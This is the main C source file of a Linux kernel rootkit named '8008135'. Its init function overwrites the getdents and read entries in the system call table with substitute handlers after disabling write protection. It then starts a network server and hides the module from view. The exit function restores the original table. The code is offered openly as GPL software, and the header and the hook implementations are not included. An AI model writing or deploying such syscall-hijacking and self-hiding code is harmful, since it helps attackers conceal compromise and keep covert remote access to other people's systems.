/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */ /* * main.c * Copyright (C) 2019 * * 8008135 is free software: you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * 8008135 is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program. If not, see . */ /*******************************************************************************/ /**** includes ***************************************************************** *******************************************************************************/ #include "8008135.h" /*******************************************************************************/ /*** FUNCTION **************************************************************** * NAME: 8008135_init * DESCRIPTION: initializing Kernel Module - hijacking syscalltable * PARAMETERS: - * RETURNS: int *******************************************************************************/ static int __init init_8008135(void) { sys_getdents_orig = (sys_getdents_ptr)((void**)sys_call_table)[__NR_getdents]; sys_read_orig = (sys_read_ptr)((void**)sys_call_table)[__NR_read]; wprotectionoff(); sys_call_table[__NR_getdents] = sys_getdents_new; sys_call_table[__NR_read] = sys_read_fake; wprotectionon(); network_server_init(); hide_module(); return 0; } /*** FUNCTION **************************************************************** * NAME: 8008135_exit * DESCRIPTION: unloading Kernel Module, restoring the original system call table * PARAMETERS: - * RETURNS: - *******************************************************************************/ static void __exit exit_8008135(void) { network_server_exit(); wprotectionoff(); sys_call_table[__NR_getdents] = sys_getdents_orig; sys_call_table[__NR_read] = sys_read_orig; wprotectionon(); } /*******************************************************************************/ module_init(init_8008135); module_exit(exit_8008135); /*******************************************************************************/